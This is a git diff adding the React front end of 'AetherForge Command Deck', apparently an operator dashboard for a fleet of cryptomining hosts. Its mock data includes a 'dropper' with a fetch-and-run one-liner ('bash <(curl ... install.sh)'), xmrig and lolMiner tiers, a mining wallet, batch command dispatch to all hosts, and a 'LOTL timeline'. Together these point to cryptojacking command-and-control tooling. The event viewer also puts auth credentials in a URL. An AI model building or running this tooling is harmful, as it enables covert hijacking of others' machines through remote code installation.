+ {build.signature && build.signature !== "UNSIGNED" && ( + + + SIGNED + + )} + + {build.public ? "PUBLIC" : "PRIVATE"} + +
+
+
+ ))} +
+ )} +
+
+ ); +} + +function MetaField({ + label, + value, + mono = false, + secret = false, +}: { + label: string; + value: string; + mono?: boolean; + secret?: boolean; +}) { + const [revealed, setRevealed] = useState(false); + const display = secret && !revealed ? "••••••••••••••••" : value; + return ( +
+

+ {label} +

+
+ + {display} + + {secret && ( + + )} +
+
+ ); +} diff --git a/web/src/pages/LoginPage.test.tsx b/web/src/pages/LoginPage.test.tsx new file mode 100644 index 0000000..fb670cb --- /dev/null +++ b/web/src/pages/LoginPage.test.tsx @@ -0,0 +1,42 @@ +import { describe, expect, it } from "vitest"; +import { screen, waitFor } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { LoginPage } from "./LoginPage"; +import { renderWithProviders } from "@/test/test-utils"; + +describe("LoginPage", () => { + it("renders login form", () => { + renderWithProviders(, { + routerProps: { initialEntries: ["/login"] }, + authenticated: false, + }); + expect(screen.getByText("AetherForge Command Deck")).toBeInTheDocument(); + expect(screen.getByLabelText("Username")).toBeInTheDocument(); + expect(screen.getByLabelText("Password")).toBeInTheDocument(); + }); + + it("shows validation error for empty submit", async () => { + const user = userEvent.setup(); + renderWithProviders(, { + routerProps: { initialEntries: ["/login"] }, + authenticated: false, + }); + await user.click(screen.getByRole("button", { name: "Authenticate" })); + expect(screen.getByText("Username and password are required.")).toBeInTheDocument(); + }); + + it("authenticates and navigates to dashboard", async () => { + const user = userEvent.setup(); + renderWithProviders(, { + routerProps: { initialEntries: ["/login"] }, + authenticated: false, + }); + await user.type(screen.getByLabelText("Username"), "operator"); + await user.type(screen.getByLabelText("Password"), "secret"); + await user.click(screen.getByRole("button", { name: "Authenticate" })); + + await waitFor(() => { + expect(sessionStorage.getItem("aetherforge_auth")).toContain("operator"); + }); + }); +}); diff --git a/web/src/pages/LoginPage.tsx b/web/src/pages/LoginPage.tsx new file mode 100644 index 0000000..e959053 --- /dev/null +++ b/web/src/pages/LoginPage.tsx @@ -0,0 +1,101 @@ +import { useState, type FormEvent } from "react"; +import { useNavigate, useLocation } from "react-router-dom"; +import { Anvil, Lock, User } from "lucide-react"; +import { Button } from "@/components/ui/button"; +import { Input } from "@/components/ui/input"; +import { Label } from "@/components/ui/label"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { setStoredAuth } from "@/lib/auth"; + +export function LoginPage() { + const navigate = useNavigate(); + const location = useLocation(); + const from = + (location.state as { from?: { pathname: string } })?.from?.pathname ?? + "/dashboard"; + + const [username, setUsername] = useState(""); + const [password, setPassword] = useState(""); + const [error, setError] = useState(""); + + const handleSubmit = (e: FormEvent) => { + e.preventDefault(); + if (!username.trim() || !password) { + setError("Username and password are required."); + return; + } + setStoredAuth({ username: username.trim(), password }); + navigate(from, { replace: true }); + }; + + return ( +
+
+ + + +
+ +
+ AetherForge Command Deck + + HTTP Basic authentication — credentials stored in session only + +
+ + +
+
+ +
+ + setUsername(e.target.value)} + /> +
+
+ +
+ +
+ + setPassword(e.target.value)} + /> +
+
+ + {error && ( +

{error}

+ )} + + +
+ +

+ sessionStorage · cleared on tab close +

+
+
+
+ ); +} diff --git a/web/src/pages/SeerPage.test.tsx b/web/src/pages/SeerPage.test.tsx new file mode 100644 index 0000000..b745a92 --- /dev/null +++ b/web/src/pages/SeerPage.test.tsx @@ -0,0 +1,63 @@ +import { describe, expect, it, beforeEach, afterEach } from "vitest"; +import { screen, waitFor } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { SeerPage } from "./SeerPage"; +import { renderWithProviders } from "@/test/test-utils"; +import { + installMockEventSource, + MockEventSource, + uninstallMockEventSource, +} from "@/test/mockEventSource"; + +describe("SeerPage", () => { + beforeEach(() => { + installMockEventSource(); + }); + + afterEach(() => { + uninstallMockEventSource(); + }); + + it("renders event stream viewer", () => { + renderWithProviders(); + expect(screen.getByRole("heading", { name: "Seer" })).toBeInTheDocument(); + expect(screen.getByText("Waiting for events…")).toBeInTheDocument(); + expect(screen.getByRole("button", { name: /Connect SSE/i })).toBeInTheDocument(); + }); + + it("connects SSE viewer on button click", async () => { + const user = userEvent.setup(); + renderWithProviders(); + + await user.click(screen.getByRole("button", { name: /Connect SSE/i })); + + const es = MockEventSource.latest(); + expect(es?.url).toContain("/seer"); + es?.simulateOpen(); + + await waitFor(() => { + expect(screen.getByText("LIVE")).toBeInTheDocument(); + }); + }); + + it("receives SSE messages into event list", async () => { + const user = userEvent.setup(); + renderWithProviders(); + + await user.click(screen.getByRole("button", { name: /Connect SSE/i })); + const es = MockEventSource.latest(); + es?.simulateOpen(); + es?.simulateMessage( + JSON.stringify({ + id: "evt-1", + event_type: "court", + payload_json: '{"verdict":"approved"}', + created_at: new Date().toISOString(), + }), + ); + + await waitFor(() => { + expect(screen.getByText(/verdict/)).toBeInTheDocument(); + }); + }); +}); diff --git a/web/src/pages/SeerPage.tsx b/web/src/pages/SeerPage.tsx new file mode 100644 index 0000000..aed5851 --- /dev/null +++ b/web/src/pages/SeerPage.tsx @@ -0,0 +1,176 @@ +import { useCallback, useEffect, useRef, useState } from "react"; +import { Eye, Loader2, Radio } from "lucide-react"; +import { authFetch, getBasicAuthHeader } from "@/lib/auth"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; + +interface SeerEvent { + id: string; + event_type: string; + payload_json: string; + host_id?: string; + created_at: string; +} + +export function SeerPage() { + const [events, setEvents] = useState([]); + const [connected, setConnected] = useState(false); + const [status, setStatus] = useState<"idle" | "connecting" | "live" | "error">("idle"); + const sourceRef = useRef(null); + const streamRef = useRef(null); + + const parseEvent = (raw: string): SeerEvent | null => { + try { + return JSON.parse(raw) as SeerEvent; + } catch { + return { + id: String(Date.now()), + event_type: "sse", + payload_json: raw, + created_at: new Date().toISOString(), + }; + } + }; + + const connect = useCallback(() => { + sourceRef.current?.close(); + setStatus("connecting"); + setEvents([]); + + const auth = getBasicAuthHeader(); + const url = auth + ? `/seer?authorization=${encodeURIComponent(auth)}` + : "/seer"; + + const es = new EventSource(url); + sourceRef.current = es; + + es.onopen = () => { + setConnected(true); + setStatus("live"); + }; + + es.onmessage = (e) => { + const entry = parseEvent(e.data); + if (entry) { + setEvents((prev) => [entry, ...prev].slice(0, 200)); + } + }; + + es.onerror = () => { + setConnected(false); + setStatus("error"); + es.close(); + }; + }, []); + + const disconnect = () => { + sourceRef.current?.close(); + sourceRef.current = null; + setConnected(false); + setStatus("idle"); + }; + + useEffect(() => () => sourceRef.current?.close(), []); + + useEffect(() => { + streamRef.current?.scrollTo({ top: 0 }); + }, [events]); + + const loadSnapshot = async () => { + setStatus("connecting"); + try { + const res = await authFetch("/api/v1/crucible/history"); + if (res.ok) { + setStatus("live"); + setEvents([ + { + id: "snapshot", + event_type: "system", + payload_json: '{"message":"Seer snapshot — connect SSE for live stream"}', + created_at: new Date().toISOString(), + }, + ]); + } + } catch { + setStatus("error"); + } + }; + + return ( +
+
+
+

Seer

+

+ Court transcripts · LOTL timeline · live SSE stream +

+
+
+ {!connected ? ( + <> + + + + ) : ( + + )} + + {status === "connecting" && } + {status.toUpperCase()} + +
+
+ + + +
+ + Event Stream +
+ + SSE endpoint: GET /seer + +
+ +
+ {events.length === 0 && ( +

Waiting for events…

+ )} + {events.map((ev) => ( +
+ + {new Date(ev.created_at).toLocaleTimeString()} + + + {ev.event_type} + + {ev.host_id && ( + {ev.host_id.slice(0, 8)} + )} + {ev.payload_json} +
+ ))} +
+
+
+
+ ); +} diff --git a/web/src/test/mockEventSource.ts b/web/src/test/mockEventSource.ts new file mode 100644 index 0000000..fa3853b --- /dev/null +++ b/web/src/test/mockEventSource.ts @@ -0,0 +1,52 @@ +import { vi } from "vitest"; + +export class MockEventSource { + static instances: MockEventSource[] = []; + url: string; + onopen: (() => void) | null = null; + onmessage: ((event: { data: string }) => void) | null = null; + onerror: (() => void) | null = null; + closed = false; + + constructor(url: string) { + this.url = url; + MockEventSource.instances.push(this); + } + + close() { + this.closed = true; + } + + /** Test helper: simulate successful connection */ + simulateOpen() { + this.onopen?.(); + } + + /** Test helper: push SSE data */ + simulateMessage(data: string) { + this.onmessage?.({ data }); + } + + /** Test helper: simulate connection error */ + simulateError() { + this.onerror?.(); + } + + static reset() { + MockEventSource.instances = []; + } + + static latest(): MockEventSource | undefined { + return MockEventSource.instances.at(-1); + } +} + +export function installMockEventSource() { + MockEventSource.reset(); + vi.stubGlobal("EventSource", MockEventSource); +} + +export function uninstallMockEventSource() { + vi.unstubAllGlobals(); + MockEventSource.reset(); +} diff --git a/web/src/test/mockWebSocket.ts b/web/src/test/mockWebSocket.ts new file mode 100644 index 0000000..c0a5dda --- /dev/null +++ b/web/src/test/mockWebSocket.ts @@ -0,0 +1,57 @@ +import { vi } from "vitest"; + +type MessageHandler = (event: { data: string }) => void; + +export class MockWebSocket { + static instances: MockWebSocket[] = []; + static CONNECTING = 0; + static OPEN = 1; + static CLOSING = 2; + static CLOSED = 3; + + url: string; + readyState = MockWebSocket.CONNECTING; + onopen: (() => void) | null = null; + onmessage: MessageHandler | null = null; + onerror: (() => void) | null = null; + onclose: (() => void) | null = null; + + constructor(url: string) { + this.url = url; + MockWebSocket.instances.push(this); + queueMicrotask(() => { + this.readyState = MockWebSocket.OPEN; + this.onopen?.(); + }); + } + + send = vi.fn(); + + close() { + this.readyState = MockWebSocket.CLOSED; + this.onclose?.(); + } + + /** Test helper: push a JSON message to listeners */ + simulateMessage(data: unknown) { + this.onmessage?.({ data: JSON.stringify(data) }); + } + + static reset() { + MockWebSocket.instances = []; + } + + static latest(): MockWebSocket | undefined { + return MockWebSocket.instances.at(-1); + } +} + +export function installMockWebSocket() { + MockWebSocket.reset(); + vi.stubGlobal("WebSocket", MockWebSocket); +} + +export function uninstallMockWebSocket() { + vi.unstubAllGlobals(); + MockWebSocket.reset(); +} diff --git a/web/src/test/mocks/fleet.ts b/web/src/test/mocks/fleet.ts new file mode 100644 index 0000000..0873c42 --- /dev/null +++ b/web/src/test/mocks/fleet.ts @@ -0,0 +1,38 @@ +import type { FleetResponse } from "@/types/fleet"; + +export const MOCK_API_FLEET: FleetResponse = { + totalHashrate: 55_000_000, + onlineCount: 2, + hosts: [ + { + id: "host-001", + hostname: "forge-node-alpha", + ip: "10.0.1.12", + arch: "linux/amd64", + hashrate: 30_000_000, + tier: 2, + tierName: "Bundled xmrig", + tierState: "active", + algo: "rx/0", + uptimeSec: 7200, + lastSeen: new Date().toISOString(), + clearance: 2, + online: true, + }, + { + id: "host-002", + hostname: "mesh-worker-beta", + ip: "10.0.1.47", + arch: "linux/amd64", + hashrate: 25_000_000, + tier: 3, + tierName: "GPU lolMiner", + tierState: "probing", + algo: "kawpow", + uptimeSec: 1800, + lastSeen: new Date().toISOString(), + clearance: 1, + online: true, + }, + ], +}; diff --git a/web/src/test/mocks/handlers.ts b/web/src/test/mocks/handlers.ts new file mode 100644 index 0000000..415fc8d --- /dev/null +++ b/web/src/test/mocks/handlers.ts @@ -0,0 +1,89 @@ +import { http, HttpResponse } from "msw"; +import { MOCK_API_FLEET } from "./fleet"; + +const MOCK_MINING_PROFILE = { + wallet_address: "48edfHu7V9Z3N9z6M7x8K2pL4qR5sT6uV7wX8yZ9aB0cD1eF2gH3jK4mN5oP6qR", + tiers: [ + { tier: 1, name: "OCI podman", enabled: true }, + { tier: 2, name: "Bundled xmrig", enabled: true }, + { tier: 3, name: "GPU lolMiner", enabled: true }, + { tier: 4, name: "Stratum-direct fallback", enabled: false }, + ], +}; + +const MOCK_BUILDS = { + builds: [ + { + id: "build-001", + os: "linux", + arch: "amd64", + version: "0.1.0-dev", + checksum: "abc123def4567890abcdef1234567890", + signature: "sig-ed25519", + public: true, + created_at: "2026-06-07T12:00:00Z", + }, + { + id: "build-002", + os: "linux", + arch: "arm64", + version: "0.1.0-dev", + checksum: "fedcba0987654321fedcba0987654321", + signature: "sig-ed25519", + public: false, + created_at: "2026-06-06T18:30:00Z", + }, + ], +}; + +const MOCK_DROPPER = { + dropper_url: "http://localhost:8989/get", + install_url: "http://localhost:8989/install.sh", + one_liner: + "FORGE_MESH_FLEET_SECRET=change-me-fleet-secret bash <(curl -fsSL http://localhost:8989/install.sh)", + fleet_secret: "change-me-fleet-secret", + public_key: "abcdef1234567890abcdef1234567890", + has_build: true, + version: "0.1.0-dev", +}; + +export const handlers = [ + http.get("/api/v1/fleet", () => HttpResponse.json(MOCK_API_FLEET)), + http.post("/api/v1/ws/ticket", () => HttpResponse.json({ ticket: "test-ws-ticket" })), + http.get("/api/v1/dropper", () => HttpResponse.json(MOCK_DROPPER)), + http.get("/api/v1/forge/builds", () => HttpResponse.json(MOCK_BUILDS)), + http.post("/api/v1/forge/builds/trigger", () => HttpResponse.json({ ok: true, message: "Build queued" })), + http.get("/api/v1/policy/mining-profile", () => HttpResponse.json(MOCK_MINING_PROFILE)), + http.put("/api/v1/policy/mining-profile", () => HttpResponse.json({ ok: true })), + http.put("/api/v1/policy/wallet", () => HttpResponse.json({ ok: true })), + http.post("/api/v1/fleet/:hostId/mining-profile", async ({ request, params }) => { + const body = (await request.json()) as { wallet_address?: string }; + return HttpResponse.json({ + id: `profile-${params.hostId}`, + wallet_address: body.wallet_address ?? MOCK_MINING_PROFILE.wallet_address, + }); + }), + http.get("/api/v1/crucible/history", () => HttpResponse.json({ jobs: [] })), + http.get("/api/v1/operator/me", () => HttpResponse.json({ clearance_level: 4 })), + http.post("/api/v1/crucible/batch", async ({ request }) => { + const body = (await request.json()) as { command?: string; all?: boolean }; + if (!body.command) { + return HttpResponse.json({ error: "command required" }, { status: 400 }); + } + return HttpResponse.json( + { + id: "batch-test-001", + command: body.command, + status: "completed", + results: [ + { + host_id: "host-001", + hostname: "forge-node-alpha", + status: "dispatched", + }, + ], + }, + { status: 202 }, + ); + }), +]; diff --git a/web/src/test/mocks/server.ts b/web/src/test/mocks/server.ts new file mode 100644 index 0000000..7b37f2a --- /dev/null +++ b/web/src/test/mocks/server.ts @@ -0,0 +1,4 @@ +import { setupServer } from "msw/node"; +import { handlers } from "./handlers"; + +export const server = setupServer(...handlers); diff --git a/web/src/test/setupTests.ts b/web/src/test/setupTests.ts new file mode 100644 index 0000000..e40b151 --- /dev/null +++ b/web/src/test/setupTests.ts @@ -0,0 +1,20 @@ +import "@testing-library/jest-dom/vitest"; +import { cleanup } from "@testing-library/react"; +import { afterAll, afterEach, beforeAll } from "vitest"; +import { server } from "./mocks/server"; + +if (!HTMLElement.prototype.scrollTo) { + HTMLElement.prototype.scrollTo = function scrollTo() { + /* jsdom polyfill */ + }; +} + +beforeAll(() => server.listen({ onUnhandledRequest: "error" })); + +afterEach(() => { + cleanup(); + server.resetHandlers(); + sessionStorage.clear(); +}); + +afterAll(() => server.close()); diff --git a/web/src/test/test-utils.tsx b/web/src/test/test-utils.tsx new file mode 100644 index 0000000..4a18ad1 --- /dev/null +++ b/web/src/test/test-utils.tsx @@ -0,0 +1,47 @@ +import { render, type RenderOptions } from "@testing-library/react"; +import { MemoryRouter, type MemoryRouterProps } from "react-router-dom"; +import type { ReactElement, ReactNode } from "react"; +import { setStoredAuth } from "@/lib/auth"; + +interface TestProvidersProps { + children: ReactNode; + routerProps?: MemoryRouterProps; + authenticated?: boolean; +} + +export function TestProviders({ + children, + routerProps = { initialEntries: ["/dashboard"] }, + authenticated = true, +}: TestProvidersProps) { + if (authenticated) { + setStoredAuth({ username: "operator", password: "test-pass" }); + } + + return {children}; +} + +export function renderWithProviders( + ui: ReactElement, + options: RenderOptions & { routerProps?: MemoryRouterProps; authenticated?: boolean } = {}, +) { + const { routerProps, authenticated, ...renderOptions } = options; + return render(ui, { + wrapper: ({ children }) => ( + + {children} + + ), + ...renderOptions, + }); +} + +export function renderAppRoutes(initialPath: string, authenticated = true) { + // Lazy import to avoid circular deps in some test setups + // eslint-disable-next-line @typescript-eslint/no-require-imports + const App = require("@/App").default as () => ReactElement; + return renderWithProviders(, { + routerProps: { initialEntries: [initialPath] }, + authenticated, + }); +} diff --git a/web/src/types/fleet.ts b/web/src/types/fleet.ts new file mode 100644 index 0000000..c277472 --- /dev/null +++ b/web/src/types/fleet.ts @@ -0,0 +1,97 @@ +export type TierState = "active" | "probing" | "failed" | "idle" | "paused"; + +export interface FleetHost { + id: string; + hostname: string; + ip: string; + arch: string; + hashrate: number; + tier: number; + tierName: string; + tierState: TierState; + algo: string; + uptimeSec: number; + lastSeen: string; + clearance: number; + online: boolean; +} + +export interface FleetResponse { + hosts: FleetHost[]; + totalHashrate: number; + onlineCount: number; +} + +export interface WsFleetMessage { + type: "heartbeat" | "host_update" | "command_ack" | "ping"; + host?: Partial & { id: string }; + payload?: unknown; + timestamp?: string; +} + +export const MOCK_FLEET: FleetResponse = { + totalHashrate: 42_500_000, + onlineCount: 3, + hosts: [ + { + id: "host-001", + hostname: "forge-node-alpha", + ip: "10.0.1.12", + arch: "linux/amd64", + hashrate: 18_200_000, + tier: 2, + tierName: "Bundled xmrig", + tierState: "active", + algo: "rx/0", + uptimeSec: 86400, + lastSeen: new Date().toISOString(), + clearance: 2, + online: true, + }, + { + id: "host-002", + hostname: "mesh-worker-beta", + ip: "10.0.1.47", + arch: "linux/amd64", + hashrate: 12_800_000, + tier: 3, + tierName: "GPU lolMiner", + tierState: "probing", + algo: "kawpow", + uptimeSec: 3600, + lastSeen: new Date().toISOString(), + clearance: 1, + online: true, + }, + { + id: "host-003", + hostname: "edge-probe-gamma", + ip: "10.0.2.8", + arch: "linux/arm64", + hashrate: 11_500_000, + tier: 1, + tierName: "OCI podman", + tierState: "active", + algo: "rx/0", + uptimeSec: 172800, + lastSeen: new Date().toISOString(), + clearance: 3, + online: true, + }, + { + id: "host-004", + hostname: "offline-staging", + ip: "10.0.3.99", + arch: "linux/amd64", + hashrate: 0, + tier: 0, + tierName: "—", + tierState: "idle", + algo: "—", + uptimeSec: 0, + lastSeen: new Date(Date.now() - 3600_000).toISOString(), + clearance: 0, + online: false, + }, + ], +}; diff --git a/web/src/vite-env.d.ts b/web/src/vite-env.d.ts new file mode 100644 index 0000000..97ce452 --- /dev/null +++ b/web/src/vite-env.d.ts @@ -0,0 +1,2 @@ +/// +/// diff --git a/web/tailwind.config.js b/web/tailwind.config.js new file mode 100644 index 0000000..4081bc2 --- /dev/null +++ b/web/tailwind.config.js @@ -0,0 +1,35 @@ +/** @type {import('tailwindcss').Config} */ +export default { + darkMode: ["class"], + content: ["./index.html", "./src/**/*.{js,ts,jsx,tsx}"], + theme: { + extend: { + colors: { + deck: { + bg: "#0a0e0f", + surface: "#111618", + panel: "#161c20", + border: "#243038", + muted: "#5a6b75", + text: "#c8d4dc", + accent: "#00e676", + amber: "#ffb300", + cyan: "#00bcd4", + danger: "#ff5252", + }, + }, + fontFamily: { + sans: ["Inter", "system-ui", "sans-serif"], + mono: ["JetBrains Mono", "Fira Code", "monospace"], + }, + boxShadow: { + glow: "0 0 20px rgba(0, 230, 118, 0.15)", + "glow-amber": "0 0 20px rgba(255, 179, 0, 0.15)", + }, + animation: { + "pulse-slow": "pulse 3s cubic-bezier(0.4, 0, 0.6, 1) infinite", + }, + }, + }, + plugins: [], +}; diff --git a/web/tsconfig.app.json b/web/tsconfig.app.json new file mode 100644 index 0000000..4a43301 --- /dev/null +++ b/web/tsconfig.app.json @@ -0,0 +1,27 @@ +{ + "compilerOptions": { + "target": "ES2020", + "useDefineForClassFields": true, + "lib": ["ES2020", "DOM", "DOM.Iterable"], + "module": "ESNext", + "skipLibCheck": true, + "moduleResolution": "bundler", + "resolveJsonModule": true, + "allowImportingTsExtensions": true, + "isolatedModules": true, + "moduleDetection": "force", + "noEmit": true, + "jsx": "react-jsx", + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noFallthroughCasesInSwitch": true, + "composite": true, + "baseUrl": ".", + "paths": { + "@/*": ["./src/*"] + } + }, + "include": ["src"], + "exclude": ["src/**/*.test.ts", "src/**/*.test.tsx", "src/test"] +} diff --git a/web/tsconfig.json b/web/tsconfig.json new file mode 100644 index 0000000..1ffef60 --- /dev/null +++ b/web/tsconfig.json @@ -0,0 +1,7 @@ +{ + "files": [], + "references": [ + { "path": "./tsconfig.app.json" }, + { "path": "./tsconfig.node.json" } + ] +} diff --git a/web/tsconfig.node.json b/web/tsconfig.node.json new file mode 100644 index 0000000..151468d --- /dev/null +++ b/web/tsconfig.node.json @@ -0,0 +1,19 @@ +{ + "compilerOptions": { + "target": "ES2022", + "lib": ["ES2022"], + "module": "ESNext", + "skipLibCheck": true, + "moduleResolution": "bundler", + "allowImportingTsExtensions": true, + "isolatedModules": true, + "moduleDetection": "force", + "noEmit": true, + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noFallthroughCasesInSwitch": true, + "composite": true + }, + "include": ["vite.config.ts"] +} diff --git a/web/vite.config.ts b/web/vite.config.ts new file mode 100644 index 0000000..a69a3d0 --- /dev/null +++ b/web/vite.config.ts @@ -0,0 +1,29 @@ +import { defineConfig } from "vite"; +import react from "@vitejs/plugin-react"; +import path from "path"; + +export default defineConfig({ + plugins: [react()], + resolve: { + alias: { + "@": path.resolve(__dirname, "./src"), + }, + }, + server: { + port: 5173, + proxy: { + "/api": { + target: "http://localhost:8989", + changeOrigin: true, + }, + "/install.sh": { + target: "http://localhost:8989", + changeOrigin: true, + }, + "/get": { + target: "http://localhost:8989", + changeOrigin: true, + }, + }, + }, +}); diff --git a/web/vitest.config.ts b/web/vitest.config.ts new file mode 100644 index 0000000..50d4455 --- /dev/null +++ b/web/vitest.config.ts @@ -0,0 +1,25 @@ +import { defineConfig, mergeConfig } from "vitest/config"; +import viteConfig from "./vite.config"; + +export default mergeConfig( + viteConfig, + defineConfig({ + test: { + globals: true, + environment: "jsdom", + setupFiles: ["./src/test/setupTests.ts"], + include: ["src/**/*.{test,spec}.{ts,tsx}"], + coverage: { + provider: "v8", + reporter: ["text", "html", "lcov"], + include: ["src/**/*.{ts,tsx}"], + exclude: [ + "src/**/*.test.{ts,tsx}", + "src/test/**", + "src/main.tsx", + "src/vite-env.d.ts", + ], + }, + }, + }), +);